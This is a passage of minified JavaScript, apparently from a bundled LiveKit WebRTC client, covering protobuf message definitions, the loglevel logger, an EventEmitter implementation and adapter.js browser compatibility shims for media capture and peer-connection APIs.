t.SubscribedQualityUpdate",()=>[{no:1,name:"track_sid",kind:"scalar",T:9},{no:2,name:"subscribed_qualities",kind:"message",T:an,repeated:!0},{no:3,name:"subscribed_codecs",kind:"message",T:pc,repeated:!0}]),es=S.makeMessageType("livekit.TrackPermission",()=>[{no:1,name:"participant_sid",kind:"scalar",T:9},{no:2,name:"all_tracks",kind:"scalar",T:8},{no:3,name:"track_sids",kind:"scalar",T:9,repeated:!0},{no:4,name:"participant_identity",kind:"scalar",T:9}]),ts=S.makeMessageType("livekit.SubscriptionPermission",()=>[{no:1,name:"all_participants",kind:"scalar",T:8},{no:2,name:"track_permissions",kind:"message",T:es,repeated:!0}]),gc=S.makeMessageType("livekit.SubscriptionPermissionUpdate",()=>[{no:1,name:"participant_sid",kind:"scalar",T:9},{no:2,name:"track_sid",kind:"scalar",T:9},{no:3,name:"allowed",kind:"scalar",T:8}]),is=S.makeMessageType("livekit.SyncState",()=>[{no:1,name:"answer",kind:"message",T:Le},{no:2,name:"subscription",kind:"message",T:Xt},{no:3,name:"publish_tracks",kind:"message",T:on,repeated:!0},{no:4,name:"data_channels",kind:"message",T:ns,repeated:!0},{no:5,name:"offer",kind:"message",T:Le},{no:6,name:"track_sids_disabled",kind:"scalar",T:9,repeated:!0}]),ns=S.makeMessageType("livekit.DataChannelInfo",()=>[{no:1,name:"label",kind:"scalar",T:9},{no:2,name:"id",kind:"scalar",T:13},{no:3,name:"target",kind:"enum",T:S.getEnumType(le)}]),fe=S.makeMessageType("livekit.SimulateScenario",()=>[{no:1,name:"speaker_update",kind:"scalar",T:5,oneof:"scenario"},{no:2,name:"node_failure",kind:"scalar",T:8,oneof:"scenario"},{no:3,name:"migration",kind:"scalar",T:8,oneof:"scenario"},{no:4,name:"server_leave",kind:"scalar",T:8,oneof:"scenario"},{no:5,name:"switch_candidate_protocol",kind:"enum",T:S.getEnumType(tc),oneof:"scenario"},{no:6,name:"subscriber_bandwidth",kind:"scalar",T:3,oneof:"scenario"},{no:7,name:"disconnect_signal_on_resume",kind:"scalar",T:8,oneof:"scenario"},{no:8,name:"disconnect_signal_on_resume_no_messages",kind:"scalar",T:8,oneof:"scenario"},{no:9,name:"leave_request_full_reconnect",kind:"scalar",T:8,oneof:"scenario"}]),rs=S.makeMessageType("livekit.Ping",()=>[{no:1,name:"timestamp",kind:"scalar",T:3},{no:2,name:"rtt",kind:"scalar",T:3}]),vc=S.makeMessageType("livekit.Pong",()=>[{no:1,name:"last_ping_timestamp",kind:"scalar",T:3},{no:2,name:"timestamp",kind:"scalar",T:3}]),bc=S.makeMessageType("livekit.RegionSettings",()=>[{no:1,name:"regions",kind:"message",T:yc,repeated:!0}]),yc=S.makeMessageType("livekit.RegionInfo",()=>[{no:1,name:"region",kind:"scalar",T:9},{no:2,name:"url",kind:"scalar",T:9},{no:3,name:"distance",kind:"scalar",T:3}]),kc=S.makeMessageType("livekit.SubscriptionResponse",()=>[{no:1,name:"track_sid",kind:"scalar",T:9},{no:2,name:"err",kind:"enum",T:S.getEnumType(Wa)}]);var Tc=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Sc(i){return i&&i.__esModule&&Object.prototype.hasOwnProperty.call(i,"default")?i.default:i}var ss={exports:{}};(function(i){(function(e,t){i.exports?i.exports=t():e.log=t()})(Tc,function(){var e=function(){},t="undefined",n=typeof window!==t&&typeof window.navigator!==t&&/Trident\/|MSIE /.test(window.navigator.userAgent),r=["trace","debug","info","warn","error"],s={},o=null;function a(g,b){var m=g[b];if(typeof m.bind=="function")return m.bind(g);try{return Function.prototype.bind.call(m,g)}catch{return function(){return Function.prototype.apply.apply(m,[g,arguments])}}}function c(){console.log&&(console.log.apply?console.log.apply(console,arguments):Function.prototype.apply.apply(console.log,[console,arguments])),console.trace&&console.trace()}function d(g){return g==="debug"&&(g="log"),typeof console===t?!1:g==="trace"&&n?c:console[g]!==void 0?a(console,g):console.log!==void 0?a(console,"log"):e}function u(){for(var g=this.getLevel(),b=0;b<r.length;b++){var m=r[b];this[m]=b<g?e:this.methodFactory(m,g,this.name)}if(this.log=this.debug,typeof console===t&&g<this.levels.SILENT)return"No console available for logging"}function l(g){return function(){typeof console!==t&&(u.call(this),this[g].apply(this,arguments))}}function h(g,b,m){return d(g)||l.apply(this,arguments)}function f(g,b){var m=this,R,I,x,O="loglevel";typeof g=="string"?O+=":"+g:typeof g=="symbol"&&(O=void 0);function ee(_){var A=(r[_]||"silent").toUpperCase();if(!(typeof window===t||!O)){try{window.localStorage[O]=A;return}catch{}try{window.document.cookie=encodeURIComponent(O)+"="+A+";"}catch{}}}function H(){var _;if(!(typeof window===t||!O)){try{_=window.localStorage[O]}catch{}if(typeof _===t)try{var A=window.document.cookie,be=encodeURIComponent(O),tt=A.indexOf(be+"=");tt!==-1&&(_=/^([^;]+)/.exec(A.slice(tt+be.length+1))[1])}catch{}return m.levels[_]===void 0&&(_=void 0),_}}function D(){if(!(typeof window===t||!O)){try{window.localStorage.removeItem(O)}catch{}try{window.document.cookie=encodeURIComponent(O)+"=; expires=Thu, 01 Jan 1970 00:00:00 UTC"}catch{}}}function V(_){var A=_;if(typeof A=="string"&&m.levels[A.toUpperCase()]!==void 0&&(A=m.levels[A.toUpperCase()]),typeof A=="number"&&A>=0&&A<=m.levels.SILENT)return A;throw new TypeError("log.setLevel() called with invalid level: "+_)}m.name=g,m.levels={TRACE:0,DEBUG:1,INFO:2,WARN:3,ERROR:4,SILENT:5},m.methodFactory=b||h,m.getLevel=function(){return x??I??R},m.setLevel=function(_,A){return x=V(_),A!==!1&&ee(x),u.call(m)},m.setDefaultLevel=function(_){I=V(_),H()||m.setLevel(_,!1)},m.resetLevel=function(){x=null,D(),u.call(m)},m.enableAll=function(_){m.setLevel(m.levels.TRACE,_)},m.disableAll=function(_){m.setLevel(m.levels.SILENT,_)},m.rebuild=function(){if(o!==m&&(R=V(o.getLevel())),u.call(m),o===m)for(var _ in s)s[_].rebuild()},R=V(o?o.getLevel():"WARN");var Re=H();Re!=null&&(x=V(Re)),u.call(m)}o=new f,o.getLogger=function(b){if(typeof b!="symbol"&&typeof b!="string"||b==="")throw new TypeError("You must supply a name when creating a logger.");var m=s[b];return m||(m=s[b]=new f(b,o.methodFactory)),m};var v=typeof window!==t?window.log:void 0;return o.noConflict=function(){return typeof window!==t&&window.log===o&&(window.log=v),o},o.getLoggers=function(){return s},o.default=o,o})})(ss);var ei=ss.exports,xi;(function(i){i[i.trace=0]="trace",i[i.debug=1]="debug",i[i.info=2]="info",i[i.warn=3]="warn",i[i.error=4]="error",i[i.silent=5]="silent"})(xi||(xi={}));var he;(function(i){i.Default="livekit",i.Room="livekit-room",i.Participant="livekit-participant",i.Track="livekit-track",i.Publication="livekit-track-publication",i.Engine="livekit-engine",i.Signal="livekit-signal",i.PCManager="livekit-pc-manager",i.PCTransport="livekit-pc-transport",i.E2EE="lk-e2ee"})(he||(he={}));let M=ei.getLogger("livekit");Object.values(he).map(i=>ei.getLogger(i));M.setDefaultLevel(xi.info);function Ce(i){const e=ei.getLogger(i);return e.setDefaultLevel(M.getLevel()),e}const Cc=ei.getLogger("lk-e2ee"),nt=7e3,Pc=[0,300,2*2*300,3*3*300,4*4*300,nt,nt,nt,nt,nt];class Ec{constructor(e){this._retryDelays=e!==void 0?[...e]:Pc}nextRetryDelayInMs(e){if(e.retryCount>=this._retryDelays.length)return null;const t=this._retryDelays[e.retryCount];return e.retryCount<=1?t:t+Math.random()*1e3}}function p(i,e,t,n){function r(s){return s instanceof t?s:new t(function(o){o(s)})}return new(t||(t=Promise))(function(s,o){function a(u){try{d(n.next(u))}catch(l){o(l)}}function c(u){try{d(n.throw(u))}catch(l){o(l)}}function d(u){u.done?s(u.value):r(u.value).then(a,c)}d((n=n.apply(i,e||[])).next())})}function Fn(i){var e=typeof Symbol=="function"&&Symbol.iterator,t=e&&i[e],n=0;if(t)return t.call(i);if(i&&typeof i.length=="number")return{next:function(){return i&&n>=i.length&&(i=void 0),{value:i&&i[n++],done:!i}}};throw new TypeError(e?"Object is not iterable.":"Symbol.iterator is not defined.")}function qe(i){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var e=i[Symbol.asyncIterator],t;return e?e.call(i):(i=typeof Fn=="function"?Fn(i):i[Symbol.iterator](),t={},n("next"),n("throw"),n("return"),t[Symbol.asyncIterator]=function(){return this},t);function n(s){t[s]=i[s]&&function(o){return new Promise(function(a,c){o=i[s](o),r(a,c,o.done,o.value)})}}function r(s,o,a,c){Promise.resolve(c).then(function(d){s({value:d,done:a})},o)}}var cn={exports:{}},ze=typeof Reflect=="object"?Reflect:null,jn=ze&&typeof ze.apply=="function"?ze.apply:function(e,t,n){return Function.prototype.apply.call(e,t,n)},Nt;ze&&typeof ze.ownKeys=="function"?Nt=ze.ownKeys:Object.getOwnPropertySymbols?Nt=function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:Nt=function(e){return Object.getOwnPropertyNames(e)};function wc(i){console&&console.warn&&console.warn(i)}var os=Number.isNaN||function(e){return e!==e};function U(){U.init.call(this)}cn.exports=U;cn.exports.once=Oc;U.EventEmitter=U;U.prototype._events=void 0;U.prototype._eventsCount=0;U.prototype._maxListeners=void 0;var Bn=10;function ti(i){if(typeof i!="function")throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof i)}Object.defineProperty(U,"defaultMaxListeners",{enumerable:!0,get:function(){return Bn},set:function(i){if(typeof i!="number"||i<0||os(i))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+i+".");Bn=i}});U.init=function(){(this._events===void 0||this._events===Object.getPrototypeOf(this)._events)&&(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0};U.prototype.setMaxListeners=function(e){if(typeof e!="number"||e<0||os(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this};function as(i){return i._maxListeners===void 0?U.defaultMaxListeners:i._maxListeners}U.prototype.getMaxListeners=function(){return as(this)};U.prototype.emit=function(e){for(var t=[],n=1;n<arguments.length;n++)t.push(arguments[n]);var r=e==="error",s=this._events;if(s!==void 0)r=r&&s.error===void 0;else if(!r)return!1;if(r){var o;if(t.length>0&&(o=t[0]),o instanceof Error)throw o;var a=new Error("Unhandled error."+(o?" ("+o.message+")":""));throw a.context=o,a}var c=s[e];if(c===void 0)return!1;if(typeof c=="function")jn(c,this,t);else for(var d=c.length,u=hs(c,d),n=0;n<d;++n)jn(u[n],this,t);return!0};function cs(i,e,t,n){var r,s,o;if(ti(t),s=i._events,s===void 0?(s=i._events=Object.create(null),i._eventsCount=0):(s.newListener!==void 0&&(i.emit("newListener",e,t.listener?t.listener:t),s=i._events),o=s[e]),o===void 0)o=s[e]=t,++i._eventsCount;else if(typeof o=="function"?o=s[e]=n?[t,o]:[o,t]:n?o.unshift(t):o.push(t),r=as(i),r>0&&o.length>r&&!o.warned){o.warned=!0;var a=new Error("Possible EventEmitter memory leak detected. "+o.length+" "+String(e)+" listeners added. Use emitter.setMaxListeners() to increase limit");a.name="MaxListenersExceededWarning",a.emitter=i,a.type=e,a.count=o.length,wc(a)}return i}U.prototype.addListener=function(e,t){return cs(this,e,t,!1)};U.prototype.on=U.prototype.addListener;U.prototype.prependListener=function(e,t){return cs(this,e,t,!0)};function Rc(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,arguments.length===0?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function ds(i,e,t){var n={fired:!1,wrapFn:void 0,target:i,type:e,listener:t},r=Rc.bind(n);return r.listener=t,n.wrapFn=r,r}U.prototype.once=function(e,t){return ti(t),this.on(e,ds(this,e,t)),this};U.prototype.prependOnceListener=function(e,t){return ti(t),this.prependListener(e,ds(this,e,t)),this};U.prototype.removeListener=function(e,t){var n,r,s,o,a;if(ti(t),r=this._events,r===void 0)return this;if(n=r[e],n===void 0)return this;if(n===t||n.listener===t)--this._eventsCount===0?this._events=Object.create(null):(delete r[e],r.removeListener&&this.emit("removeListener",e,n.listener||t));else if(typeof n!="function"){for(s=-1,o=n.length-1;o>=0;o--)if(n[o]===t||n[o].listener===t){a=n[o].listener,s=o;break}if(s<0)return this;s===0?n.shift():_c(n,s),n.length===1&&(r[e]=n[0]),r.removeListener!==void 0&&this.emit("removeListener",e,a||t)}return this};U.prototype.off=U.prototype.removeListener;U.prototype.removeAllListeners=function(e){var t,n,r;if(n=this._events,n===void 0)return this;if(n.removeListener===void 0)return arguments.length===0?(this._events=Object.create(null),this._eventsCount=0):n[e]!==void 0&&(--this._eventsCount===0?this._events=Object.create(null):delete n[e]),this;if(arguments.length===0){var s=Object.keys(n),o;for(r=0;r<s.length;++r)o=s[r],o!=="removeListener"&&this.removeAllListeners(o);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if(t=n[e],typeof t=="function")this.removeListener(e,t);else if(t!==void 0)for(r=t.length-1;r>=0;r--)this.removeListener(e,t[r]);return this};function us(i,e,t){var n=i._events;if(n===void 0)return[];var r=n[e];return r===void 0?[]:typeof r=="function"?t?[r.listener||r]:[r]:t?Ic(r):hs(r,r.length)}U.prototype.listeners=function(e){return us(this,e,!0)};U.prototype.rawListeners=function(e){return us(this,e,!1)};U.listenerCount=function(i,e){return typeof i.listenerCount=="function"?i.listenerCount(e):ls.call(i,e)};U.prototype.listenerCount=ls;function ls(i){var e=this._events;if(e!==void 0){var t=e[i];if(typeof t=="function")return 1;if(t!==void 0)return t.length}return 0}U.prototype.eventNames=function(){return this._eventsCount>0?Nt(this._events):[]};function hs(i,e){for(var t=new Array(e),n=0;n<e;++n)t[n]=i[n];return t}function _c(i,e){for(;e+1<i.length;e++)i[e]=i[e+1];i.pop()}function Ic(i){for(var e=new Array(i.length),t=0;t<e.length;++t)e[t]=i[t].listener||i[t];return e}function Oc(i,e){return new Promise(function(t,n){function r(o){i.removeListener(e,s),n(o)}function s(){typeof i.removeListener=="function"&&i.removeListener("error",r),t([].slice.call(arguments))}fs(i,e,s,{once:!0}),e!=="error"&&xc(i,r,{once:!0})})}function xc(i,e,t){typeof i.on=="function"&&fs(i,"error",e,t)}function fs(i,e,t,n){if(typeof i.on=="function")n.once?i.once(e,t):i.on(e,t);else if(typeof i.addEventListener=="function")i.addEventListener(e,function r(s){n.once&&i.removeEventListener(e,r),t(s)});else throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof i)}var ve=cn.exports;let ps=!0,ms=!0;function Lt(i,e,t){const n=i.match(e);return n&&n.length>=t&&parseInt(n[t],10)}function Fe(i,e,t){if(!i.RTCPeerConnection)return;const n=i.RTCPeerConnection.prototype,r=n.addEventListener;n.addEventListener=function(o,a){if(o!==e)return r.apply(this,arguments);const c=d=>{const u=t(d);u&&(a.handleEvent?a.handleEvent(u):a(u))};return this._eventMap=this._eventMap||{},this._eventMap[e]||(this._eventMap[e]=new Map),this._eventMap[e].set(a,c),r.apply(this,[o,c])};const s=n.removeEventListener;n.removeEventListener=function(o,a){if(o!==e||!this._eventMap||!this._eventMap[e])return s.apply(this,arguments);if(!this._eventMap[e].has(a))return s.apply(this,arguments);const c=this._eventMap[e].get(a);return this._eventMap[e].delete(a),this._eventMap[e].size===0&&delete this._eventMap[e],Object.keys(this._eventMap).length===0&&delete this._eventMap,s.apply(this,[o,c])},Object.defineProperty(n,"on"+e,{get(){return this["_on"+e]},set(o){this["_on"+e]&&(this.removeEventListener(e,this["_on"+e]),delete this["_on"+e]),o&&this.addEventListener(e,this["_on"+e]=o)},enumerable:!0,configurable:!0})}function Mc(i){return typeof i!="boolean"?new Error("Argument type: "+typeof i+". Please use a boolean."):(ps=i,i?"adapter.js logging disabled":"adapter.js logging enabled")}function Dc(i){return typeof i!="boolean"?new Error("Argument type: "+typeof i+". Please use a boolean."):(ms=!i,"adapter.js deprecation warnings "+(i?"disabled":"enabled"))}function gs(){if(typeof window=="object"){if(ps)return;typeof console<"u"&&typeof console.log=="function"&&console.log.apply(console,arguments)}}function dn(i,e){ms&&console.warn(i+" is deprecated, please use "+e+" instead.")}function Ac(i){const e={browser:null,version:null};if(typeof i>"u"||!i.navigator||!i.navigator.userAgent)return e.browser="Not a browser.",e;const{navigator:t}=i;if(t.mozGetUserMedia)e.browser="firefox",e.version=Lt(t.userAgent,/Firefox\/(\d+)\./,1);else if(t.webkitGetUserMedia||i.isSecureContext===!1&&i.webkitRTCPeerConnection)e.browser="chrome",e.version=Lt(t.userAgent,/Chrom(e|ium)\/(\d+)\./,2);else if(i.RTCPeerConnection&&t.userAgent.match(/AppleWebKit\/(\d+)\./))e.browser="safari",e.version=Lt(t.userAgent,/AppleWebKit\/(\d+)\./,1),e.supportsUnifiedPlan=i.RTCRtpTransceiver&&"currentDirection"in i.RTCRtpTransceiver.prototype;else return e.browser="Not a supported browser.",e;return e}function Vn(i){return Object.prototype.toString.call(i)==="[object Object]"}function vs(i){return Vn(i)?Object.keys(i).reduce(function(e,t){const n=Vn(i[t]),r=n?vs(i[t]):i[t],s=n&&!Object.keys(r).length;return r===void 0||s?e:Object.assign(e,{[t]:r})},{}):i}function Mi(i,e,t){!e||t.has(e.id)||(t.set(e.id,e),Object.keys(e).forEach(n=>{n.endsWith("Id")?Mi(i,i.get(e[n]),t):n.endsWith("Ids")&&e[n].forEach(r=>{Mi(i,i.get(r),t)})}))}function qn(i,e,t){const n=t?"outbound-rtp":"inbound-rtp",r=new Map;if(e===null)return r;const s=[];return i.forEach(o=>{o.type==="track"&&o.trackIdentifier===e.id&&s.push(o)}),s.forEach(o=>{i.forEach(a=>{a.type===n&&a.trackId===o.id&&Mi(i,a,r)})}),r}const Kn=gs;function bs(i,e){const t=i&&i.navigator;if(!t.mediaDevices)return;const n=function(a){if(typeof a!="object"||a.mandatory||a.optional)return a;const c={};return Object.keys(a).forEach(d=>{if(d==="require"||d==="advanced"||d==="mediaSource")return;const u=typeof a[d]=="object"?a[d]:{ideal:a[d]};u.exact!==void 0&&typeof u.exact=="number"&&(u.min=u.max=u.exact);const l=function(h,f){return h?h+f.charAt(0).toUpperCase()+f.slice(1):f==="deviceId"?"sourceId":f};if(u.ideal!==void 0){c.optional=c.optional||[];let h={};typeof u.ideal=="number"?(h[l("min",d)]=u.ideal,c.optional.push(h),h={},h[l("max",d)]=u.ideal,c.optional.push(h)):(h[l("",d)]=u.ideal,c.optional.push(h))}u.exact!==void 0&&typeof u.exact!="number"?(c.mandatory=c.mandatory||{},c.mandatory[l("",d)]=u.exact):["min","max"].forEach(h=>{u[h]!==void 0&&(c.mandatory=c.mandatory||{},c.mandatory[l(h,d)]=u[h])})}),a.advanced&&(c.optional=(c.optional||[]).concat(a.advanced)),c},r=function(a,c){if(e.version>=61)return c(a);if(a=JSON.parse(JSON.stringify(a)),a&&typeof a.audio=="object"){const d=function(u,l,h){l in u&&!(h in u)&&(u[h]=u[l],delete u[l])};a=JSON.parse(JSON.stringify(a)),d(a.audio,"autoGainControl","googAutoGainControl"),d(a.audio,"noiseSuppression","googNoiseSuppression"),a.audio=n(a.audio)}if(a&&typeof a.video=="object"){let d=a.video.facingMode;d=d&&(typeof d=="object"?d:{ideal:d});const u=e.version<66;if(d&&(d.exact==="user"||d.exact==="environment"||d.ideal==="user"||d.ideal==="environment")&&!(t.mediaDevices.getSupportedConstraints&&t.mediaDevices.getSupportedConstraints().facingMode&&!u)){delete a.video.facingMode;let l;if(d.exact==="environment"||d.ideal==="environment"?l=["back","rear"]:(d.exact==="user"||d.ideal==="user")&&(l=["front"]),l)return t.mediaDevices.enumerateDevices().then(h=>{h=h.filter(v=>v.kind==="videoinput");let f=h.find(v=>l.some(g=>v.label.toLowerCase().includes(g)));return!f&&h.length&&l.includes("back")&&(f=h[h.length-1]),f&&(a.video.deviceId=d.exact?{exact:f.deviceId}:{ideal:f.deviceId}),a.video=n(a.video),Kn("chrome: "+JSON.stringify(a)),c(a)})}a.video=n(a.video)}return Kn("chrome: "+JSON.stringify(a)),c(a)},s=function(a){return e.version>=64?a:{name:{PermissionDeniedError:"NotAllowedError",PermissionDismissedError:"NotAllowedError",InvalidStateError:"NotAllowedError",DevicesNotFoundError:"NotFoundError",ConstraintNotSatisfiedError:"OverconstrainedError",TrackStartError:"NotReadableError",MediaDeviceFailedDueToShutdown:"NotAllowedError",MediaDeviceKillSwitchOn:"NotAllowedError",TabCaptureError:"AbortError",ScreenCaptureError:"AbortError",DeviceCaptureError:"AbortError"}[a.name]||a.name,message:a.message,constraint:a.constraint||a.constraintName,toString(){return this.name+(this.message&&": ")+this.message}}},o=function(a,c,d){r(a,u=>{t.webkitGetUserMedia(u,c,l=>{d&&d(s(l))})})};if(t.getUserMedia=o.bind(t),t.mediaDevices.getUserMedia){const a=t.mediaDevices.getUserMedia.bind(t.mediaDevices);t.mediaDevices.getUserMedia=function(c){return r(c,d=>a(d).then(u=>{if(d.audio&&!u.getAudioTracks().length||d.video&&!u.getVideoTracks().length)throw u.getTracks().forEach(l=>{l.stop()}),new DOMException("","NotFoundError");return u},u=>Promise.reject(s(u))))}}}function Nc(i,e){if(!(i.navigator.mediaDevices&&"getDisplayMedia"in i.navigator.mediaDevices)&&i.navigator.mediaDevices){if(typeof e!="function"){console.error("shimGetDisplayMedia: getSourceId argument is not a function");return}i.navigator.mediaDevices.getDisplayMedia=function(n){return e(n).then(r=>{const s=n.video&&n.video.width,o=n.video&&n.video.height,a=n.video&&n.video.frameRate;return n.video={mandatory:{chromeMediaSource:"desktop",chromeMediaSourceId:r,maxFrameRate:a||3}},s&&(n.video.mandatory.maxWidth=s),o&&(n.video.mandatory.maxHeight=o),i.navigator.mediaDevices.getUserMedia(n)})}}}function ys(i){i.MediaStream=i.MediaStream||i.webkitMediaStream}function ks(i){if(typeof i=="object"&&i.RTCPeerConnection&&!("ontrack"in i.RTCPeerConnection.prototype)){Object.defineProperty(i.RTCPeerConnection.prototype,"ontrack",{get(){return this._ontrack},set(t){this._ontrack&&this.removeEventListener("track",this._ontrack),this.addEventListener("track",this._ontrack=t)},enumerable:!0,configurable:!0});const e=i.RTCPeerConnection.prototype.setRemoteDescription;i.RTCPeerConnection.prototype.setRemoteDescription=function(){return this._ontrackpoly||(this._ontrackpoly=n=>{n.stream.addEventListener("addtrack",r=>{let s;i.RTCPeerConnection.prototype.getReceivers?s=this.getReceivers().find(a=>a.track&&a.track.id===r.track.id):s={track:r.track};const o=new Event("track");o.track=r.track,o.receiver=s,o.transceiver={receiver:s},o.streams=[n.stream],this.dispatchEvent(o)}),n.stream.getTracks().forEach(r=>{let s;i.RTCPeerConnection.prototype.getReceivers?s=this.getReceivers().find(a=>a.track&&a.track.id===r.id):s={track:r};const o=new Event("track");o.track=r,o.receiver=s,o.transceiver={receiver:s},o.streams=[n.stream],this.dispatchEvent(o)})},this.addEventListener("addstream",this._ontrackpoly)),e.apply(this,arguments)}}else Fe(i,"track",e=>(e.transceiver||Object.defineProperty(e,"transceiver",{value:{receiver:e.receiver}}),e))}function Ts(i){if(typeof i=="object"&&i.RTCPeerConnection&&!("getSenders"in i.RTCPeerConnection.prototype)&&"createDTMFSender"in i.RTCPeerConnection.prototype){const e=function(r,s){return{track:s,get dtmf(){return this._dtmf===void 0&&(s.kind==="audio"?this._dtmf=r.createDTMFSender(s):this._dtmf=null),this._dtmf},_pc:r}};if(!i.RTCPeerConnection.prototype.getSenders){i.RTCPeerConnection.prototype.getSenders=function(){return this._senders=this._senders||[],this._senders.slice()};const r=i.RTCPeerConnection.prototype.addTrack;i.RTCPeerConnection.prototype.addTrack=function(a,c){let d=r.apply(this,arguments);return d||(d=e(this,a),this._senders.push(d)),d};const s=i.RTCPeerConnection.prototype.removeTrack;i.RTCPeerConnection.prototype.removeTrack=function(a){s.apply(this,arguments);const c=this._senders.indexOf(a);c!==-1&&this._senders.splice(c,1)}}const t=i.RTCPeerConnection.prototype.addStream;i.RTCPeerConnection.prototype.addStream=function(s){this._senders=this._senders||[],t.apply(this,[s]),s.getTracks().forEach(o=>{this._senders.push(e(this,o))})};const n=i.RTCPeerConnection.prototype.removeStream;i.RTCPeerConnection.prototype.removeStream=function(s){this._senders=this._senders||[],n.apply(this,[s]),s.getTracks().forEach(o=>{const a=this._senders.find(c=>c.track===o);a&&this._senders.splice(this._senders.indexOf(a),1)})}}else if(typeof i=="object"&&i.RTCPeerConnection&&"getSenders"in i.RTCPeerConnection.prototype&&"createDTMFSender"in i.RTCPeerConnection.prototype&&i.RTCRtpSender&&!("dtmf"in i.RTCRtpSender.prototype)){const e=i.RTCPeerConnection.prototype.getSenders;i.RTCPeerConnection.prototype.getSenders=function(){const n=e.apply(this,[]);return n.forEach(r=>r._pc=this),n},Object.defineProperty(i.RTCRtpSender.prototype,"dtmf",{get(){return this._dtmf===void 0&&(this.track.kind==="audio"?this._dtmf=this._pc.createDTMFSender(this.track):this._dtmf=null),this._dtmf}})}}function Ss(i){if(!i.RTCPeerConnection)return;const e=i.RTCPeerConnection.prototype.getStats;i.RTCPeerConnection.prototype.getStats=function(){const[n,r,s]=arguments;if(arguments.length>0&&typeof n=="function")return e.apply(this,arguments);if(e.length===0&&(arguments.length===0||typeof n!="function"))return e.apply(this,[]);const o=function(c){const d={};return c.result().forEach(l=>{const h={id:l.id,timestamp:l.timestamp,type:{localcandidate:"local-candidate",remotecandidate:"remote-candidate"}[l.type]||l.type};l.names().forEach(f=>{h[f]=l.stat(f)}),d[h.id]=h}),d},a=function(c){return new Map(Object.keys(c).map(d=>[d,c[d]]))};if(arguments.length>=2){const c=function(d){r(a(o(d)))};return e.apply(this,[c,n])}return new Promise((c,d)=>{e.apply(this,[function(u){c(a(o(u)))},d])}).then(r,s)}}function Cs(i){if(!(typeof i=="object"&&i.RTCPeerConnection&&i.RTCRtpSender&&i.RTCRtpReceiver))return;if(!("getStats"in i.RTCRtpSender.prototype)){const t=i.RTCPeerConnection.prototype.getSenders;t&&(i.RTCPeerConnection.prototype.getSenders=function(){const s=t.apply(this,[]);return s.forEach(o=>o._pc=this),s});const n=i.RTCPeerConnection.prototype.addTrack;n&&(i.RTCPeerConnection.prototype.addTrack=function(){const s=n.apply(this,arguments);return s._pc=this,s}),i.RTCRtpSender.prototype.getStats=function(){const s=this;return this._pc.getStats().then(o=>qn(o,s.track,!0))}}if(!("getStats"in i.RTCRtpReceiver.prototype)){const t=i.RTCPeerConnection.prototype.getReceivers;t&&(i.RTCPeerConnection.prototype.getReceivers=function(){const r=t.apply(this,[]);return r.forEach(s=>s._pc=this),r}),Fe(i,"track",n=>(n.receiver._pc=n.srcElement,n)),i.RTCRtpReceiver.prototype.getStats=function(){const r=this;return this._pc.getStats().then(s=>qn(s,r.track,!1))}}if(!("getStats"in i.RTCRtpSender.prototype&&"getStats"in i.RTCRtpReceiver.prototype))return;const e=i.RTCPeerConnection.prototype.getStats;i.RTCPeerConnection.prototype.getStats=function(){if(arguments.length>0&&arguments[0]instanceof i.MediaStreamTrack){const n=arguments[0];let r,s,o;return this.getSenders().forEach(a=>{a.track===n&&(r?o=!0:r=a)}),this.getReceivers().forEach(a=>(a.track===n&&(s?o=!0:s=a),a.track===n)),o||r&&s?Promise.reject(new DOMException("There are more than one sender or receiver for the track.","InvalidAccessError")):r?r.getStats():s?s.getStats():Promise.reject(new DOMException("There is no sender or receiver for the track.","InvalidAccessError"))}return e.apply(this,arguments)}}function Ps(i){i.RTCPeerConnection.prototype.getLocalStreams=function(){return this._shimmedLocalStreams=this._shimmedLocalStreams||{},Object.keys(this._shimmedLocalStreams).map(o=>this._shimmedLocalStreams[o][0])};const e=i.RTCPeerConnection.prototype.addTrack;i.RTCPeerConnection.prototype.addTrack=function(o,a){if(!a)return e.apply(this,arguments);this._shimmedLocalStreams=this._shimmedLocalStreams||{};const c=e.apply(this,arguments);return this._shimmedLocalStreams[a.id]?this._shimmedLocalStreams[a.id].indexOf(c)===-1&&this._shimmedLocalStreams[a.id].push(c):this._shimmedLocalStreams[a.id]=[a,c],c};const t=i.RTCPeerConnection.prototype.addStream;i.RTCPeerConnection.prototype.addStream=function(o){this._shimmedLocalStreams=this._shimmedLocalStreams||{},o.getTracks().forEach(d=>{if(this.getSenders().find(l=>l.track===d))throw new DOMException("Track already exists.","InvalidAccessError")});const a=this.getSenders();t.apply(this,arguments);const c=this.getSenders().filter(d=>a.indexOf(d)===-1);this._shimmedLocalStreams[o.id]=[o].concat(c)};const n=i.RTCPeerConnection.prototype.removeStream;i.RTCPeerConnection.prototype.removeStream=function(o){return this._shimmedLocalStreams=this._shimmedLocalStreams||{},delete this._shimmedLocalStreams[o.id],n.apply(this,arguments)};const r=i.RTCPeerConnection.prototype.removeTrack;i.RTCPeerConnection.prototype.removeTrack=function(o){return this._shimmedLocalStreams=this._shimmedLocalStreams||{},o&&Object.keys(this._shimmedLocalStreams).forEach(a=>{const c=this._shimmedLocalStreams[a].indexOf(o);c!==-1&&this._shimmedLocalStreams[a].splice(c,1),this._shimmedLocalStreams[a].length===1&&delete this._shimmedLocalStreams[a]}),r.apply(this,arguments)}}function Es(i,e){if(!i.RTCPeerConnection)return;if(i.RTCPeerConnection.prototype.addTrack&&e.version>=65)return Ps(i);const t=i.RTCPeerConnection.prototype.getLocalStreams;i.RTCPeerConnection.prototype.getLocalStreams=function(){const u=t.apply(this);return this._reverseStreams=this._reverseStreams||{},u.map(l=>this._reverseStreams[l.id])};const n=i.RTCPeerConnection.prototype.addStream;i.RTCPeerConnection.prototype.addStream=function(u){if(this._streams=this._streams||{},this._reverseStreams=this._reverseStreams||{},u.getTracks().forEach(l=>{if(this.getSenders().find(f=>f.track===l))throw new DOMException("Track already 